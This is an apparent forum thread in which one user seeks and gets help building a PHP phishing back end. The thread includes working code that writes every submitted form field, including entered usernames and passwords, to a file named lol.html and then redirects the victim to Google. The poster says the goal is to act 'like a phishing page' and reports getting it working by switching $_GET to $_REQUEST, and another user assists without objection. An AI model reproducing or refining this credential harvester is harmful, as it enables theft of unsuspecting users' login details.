[virusreloaded]

here is the php code it creates lol.html file but donot store username and password..

<?php
header ('Location: http://www.google.com');
$handle = fopen("lol.html", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

[bluedog.tar.gz]

Explain what you want to know?

[virusreloaded]

Bro i want to use this page to create a lol.html file on server...this file should contain the username and password entered by the client...
i mean it should perform actions like a phish ing page does.

[bluedog.tar.gz]

Well have you made a form where they can enter the information?

[virusreloaded]

yes i have....i found a mistake that is:
<form action="host.php" method="POST">
</form>
and in php i was using:
<?php
header(location: ../);
$handle=fopen("lol.html", "a");
foreach($_GET as $variable => $value);
{
fwrite($handle, "$variable");
fwrite($handle, " = ");
fwrite($handle, "$value");
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
?>
i replaced $_GET with $_REQUEST......and it's working fine now...